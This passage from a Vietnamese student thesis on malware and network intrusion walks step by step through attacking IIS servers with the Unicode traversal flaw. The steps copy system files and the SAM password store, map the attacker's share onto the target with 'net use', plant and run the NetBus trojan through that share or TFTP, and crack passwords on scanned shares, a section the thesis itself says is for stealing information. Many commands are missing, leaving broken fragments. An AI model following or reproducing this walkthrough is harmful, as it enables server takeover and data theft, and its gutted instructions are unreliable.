NetBIOS (Network Basic Input/Output System) là một dịch vụ giao tiếp ở tầng session trong mô hình OSI 7 tầng. Dịch vụ này cho phép người sử dụng chia sẻ tài nguyên trên máy mình cho mọi người trong mạng cùng sử dụng như các file, thư mục, ổ đĩa, máy in thậm chí cả cổng COM. Giao thức này còn được gọi là chuẩn SMB(System Messege Block). Các mạng dựa trên SMB sử dụng một số giao thức có cơ sở từ giao thức NetBIOS hơn như “NetBIOS over NetBEUI ( NetBIOS Extended User Interface - giao diện người dùng mở rộng trong NetBIOS )” và NetBIOS over TCP/IP. Như vậy, NetBIOS cung cấp các ứng dụng và giao diện lập trình cho các dịch vụ chia sẻ tài nguyên thông qua một số giao thức cấp thấp hơn, bao gồm cả giao thức TCP/IP.
Vì giao thức “NetBIOS over TCP/IP” chạy trên họ giao thức TCP/IP – là họ giao thức chuẩn trên Internet, người ta có thể chia sẻ tài nguyên ngay cả trên Internet. Nếu máy đích người ta định tấn công cài đặt giao thức “NetBIOS over TCP/IP”. Ta có thể lợi dụng điều này tấn công, nhất là khi đã khai thác được lỗi unicode trên hệ thống đó.
Bây giờ người ta sẽ đi vào cụ thể, tìm cách download và upload file trên IIS mắc lỗi Unicode.
Theo ngầm định, khi cài IIS phiên bản từ 4.0 trở lên, một FTP server sẽ được tự động cài đặt vào hệ thống. FTP server cho phép người sử dụng vô danh truy cập vào thư mục \inetpub\ftoproot\ và download các file từ đó (nhưng không cho phép upload file). Lợi dụng điều này, để download một file nào đó trên máy đích mắc lỗi unicode, ta thực hiện hai bước sau:
+ Bước 1: Copy file download (giả sử là file c:\system.ini) vào thư mục \inetpub\ftoproot\ bằng URL:
+ Bước 2: Sử dụng FTP vô danh đăng nhập vào máy tính đích download file system.ini về.
Kết hợp với lệnh dir đã trình bày ở trên (Mục 3.4), phương pháp này cho phép ta lấy được hầu hết file quan trọng trên server bị tấn công, đây có thể nói là một thành công lớn đối với người tấn công. Tuy nhiên phương pháp này bị hạn
chế ở chỗ nó không cho phép download tất cả các file. Cụ thể, người ta biết rằng Windows NT và Windows 2000 lưu trữ một bản sao file SAM (Security Account Manager) trong thư mục \WINNT\repair\, trong đó lưu trữ thông tin về account sử dụng hệ thống bao gồm Username và Password đã được mã hóa. Nếu copy được file này, ta sẽ dùng chương trình bẻ khóa giải mã nó và trở nên có toàn quyền đối với Website, một cách chính quy. Tuy nhiên lệnh copy file SAM này không thực hiện được. Nếu gõ vào thanh địa chỉ dòng lệnh:
trình duyệt sẽ báo lỗi:
CGI Error
The specified CGI application misbehaved by not returning a complete set ò HTTP headers. The headers Internet did return are:
Access is denied.
0 file (s) copied.
Vấn đề nằm ở chỗ vượt ra ngoài thư mục web bằng lỗi Unicode chỉ cho phép người ta có quyền truy cập hệ thống là IUSR_machinename còn truy cập vào thư mục winnt\repair, nơi lưu trữ các file SAM vô cùng quan trọng, chỉ có thể thực hiện với quyền truy cập là Administrator. Để làm được điều này, người ta cần upload một số công cụ hỗ trợ việc thăm dò từ xa.
Vì server FTP không cho phép người sử dụng upload file lên hệ thống nên ta phải sử dụng phương pháp khác. Điều này có thể thực hiện thông qua các bước như sau:
Bước 1: Chia sẻ một ổ đĩa trên máy của mình, ổ C: chẳng hạn, với quyền truy nhập là “Full” và không có pass bảo vệ. Giả sử tên chia sẻ (Share name) được đặt là “My Disk”.
Bước 2: Sử dụng lệnh “net use” trên IIS để ánh xạ (map) “My Disk” (tức là ổ đĩa C: trên máy của mình) về thành một ổ đĩa mới trên máy chủ phía đích, giả sử là ổ G: +use+G:+\\203.160.1.94\MyDisk (Coi như máy mình đã có địa chỉ IP là 203.160.1.94)
Ta có thể kiểm tra xem lệnh này có được thực thi và có thành công hay không bằng cách dùng lệnh DIR:
Nếu nội dung mà trình duyệt liệt kê trùng với nội dung ổ đĩa C: trên máy của mình thì lệnh “net use” đã thành công và trên máy đích có một ổ đĩa G:, mọi thay đổi trên ổ G: ở máy đích đều là thay đổi ở ổ đĩa C: của mình và ngược lại.
Bước 3: Người ta cần tìm một chương trình điều khiển máy tính từ xa như WinVNC (Virtual Network Computing) của AT&T Laboratories Cambrridge ( PC Anywhere của Symantec ( hay các chương trình “ngựa thành Trojan”, chép nó vào ổ C: (ổ G:\ trên máy đích) và dùng trình duyệt copy lên đĩa cứng thực sự của server. Giả sử trên ổ C: của người ta có Trojan netbus 1.7 với thành phần server là Patch.exe, ta sẽ thực hiện lệnh sau ở trình duyệt:
Bước 4: Tất nhiên ta không muốn thực sự chia sẻ ổ đĩa cho tất cả mọi người xem và toàn quyền sử dụng như vậy. Giờ đây ta sẽ dùng lệnh “net use G:/delete” trên server để ngắt liên kết đến ổ C: của mình:
Tốt hơn nữa, ta nên bỏ việc “share” ổ đĩa C: để đảm bảo an toàn, nếu không một hacker khác có thể quét chia sẻ và tìm chia sẻ của người ta, từ đó chủ động kết nối phá hoại máy người ta.
Bước 5: Chạy thành phần server của chương trình điều khiển từ xa trên máy đích thành phần client trên máy của ta, kết nối vào và điều khiển máy đích.
Phương pháp này là khả thi. Tuy nhiên, nó không hoạt động trên Windows 2000 và IIS 5.0. Lý do là chế độ phân quyền trong Windows 2000 chặt chẽ hơn ở Windows NT 4.0. Trong trường hợp này, ta sử dụng một vũ khí khác, đó chính là TFTP đã trình bày ở trên. Người ta cần đến một chương trình TFTP server chạy trên máy của mình và sử dụng TFTP client trên hệ thống đích để connect và chuyển file. Ở đây người ta sử dụng chương trình TFTPD32, phiên bản 1.2 của Philippe Jounin. TFTPD32 giao tiếp thông qua cổng TCP 69.
Bây giờ, ta chạy TFTP client trên máy đích và sở dụng nó để download, upload file một cách dễ dàng. Theo ngầm định là file tftp.exe cài đặt tại thư mục \Winnt\system32\ người ta có thể sử dụng trực tiếp lệnh Put và Get của tftp để download hay upload file, ví dụ lệnh:
sẽ thực hiện việc download file system.ini trên máy đích xuống thư mục c:\stolen\ trên máy của mình, còn lệnh:
sẽ upload server của netbus 1.7, file patch.exe lên ổ đĩa C:\ trên máy đích.
Cuối cùng, người ta chạy Trojan NetBus và điều khiển máy chủ cài đặt IIS :
KẾT HỢP CÔNG CỤ QUÉT TÀI NGUYÊN ĐƯỢC CHIA SẺ VÀ
CÔNG CỤ BẺ MẬT KHẨU
Phần này mô tả giải pháp kêt hợp công cụ quét tài nguyên được chia sẻ trên máy mục tiêu với công cụ bẻ mật khẩu để truy nhập máy mục tiêu nhằm mục đích lấy cắp thông tin.
Công cụ quét tài nguyên được chia sẻ.
Để quét tài nguyên được chia sẻ trên máy mục tiêu, trong ví dụ này, người ta dùng phần mềm WS_Ping ProPack với công cụ Scan.
Như vậy sử dụng WS_Ping ProPack ta có thể biết được địa chỉ IP của máy chứa tài nguyên đó. Để truy cập đến tài nguyên đó, người ta có nhiều cách, ví dụ có thể dùng dòng lệnh:
Run\\\
Để xem tài nguyên đó có share hay không người ta sử dụng câu lệnh C:\net view .Nếu tài nguyên được chia sẻ không có mật khẩu thì việc truy nhập được tiến hành bình thường: net use : . Nếu tài nguyên được chia sẻ với mật khẩu thì ta dùng công cụ bẻ mật khẩu, như sẽ trình bày dưới đây, để bẻ mật khẩu và truy nhập đến tài nguyên theo mật khẩu đã bẻ được - Passware Kit.
Passware Kit khôi phục tất cả các loại password cho tất cả các file ứng
dụng văn phòng phổ biến nhất thế giới, bao gồm Exel, Word, WinZip, Window XP/2000/NT, Access, Outlook, Quicken, WordPefect, VBA, 1-2-3, ACT, Paradox, Organizer, Schedule, WordPro và nhiều hơn nữa
Các bước để khôi phục password cho tài liệu Microsoft Office.
Để khôi phục password cho các kiểu khác bạn hãy lựa chọn một module khôi phục khác trong bước 1:
Kích vào nút Start, sau đó kích vào Program, Passware, Office Key.
Lựa chọn Recover, hộp hội thoại chọn file sẽ xuất hiện.
Chọn file để tìm password.
Nhấn nút “Open” để bắt đầu khôi phục.
KẾT LUẬN
Sau khi nghiên cứu lý thuyết, về cơ bản luận văn đã thể hiện được nội dung cơ bản mà đề tài đề cập. Qua đồ án này, em đã hiểu được phần nào cách thức hoạt động của các phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối Internet.
Mặc dù đã có nhiều cố gắng nhưng do Internet là một vấn để vô cùng rộng, thời gian ngắn và trình độ có hạn nên đồ án còn nhiều hạn chế và chưa giải quyết trọn vẹn yêu cầu để tài nêu ra. Hướng phát triển đề tài của em trong tương lai là sẽ khắc phục các hạn chế để đề tài ngày càng hoàn thiện hơn và tạo ra một sản phẩm phần mềm - một công cụ để có ứng dụng trong công nghệ xâm nhập mạng nói riêng và nền công nghệ thông tin nói chung.
CÁC TÀI LIỆU THAM KHẢO
[1]. Bảo mật mạng – Bí quyết và giải pháp
Nhóm biên dịch VN_Guide, NXB Thống Kê 2000
[2]. Technical Report 2002: Microsoft IIS 4.0, 5.0 extended Unicode Directory
Traversal Vulnerability and Certification Effort_IRIA Tools
[3]. Microsoft Security Bulletin (MS00-078)
[4].
[5].
[6].
[7].
[8].
Các file đính kèm theo tài liệu này:
- tim_hieu_phan_mem_pha_hoai_va_cac_giai_phap_xam_nhap_mang_dung_rieng_co_ket_noi_internet_1536.doc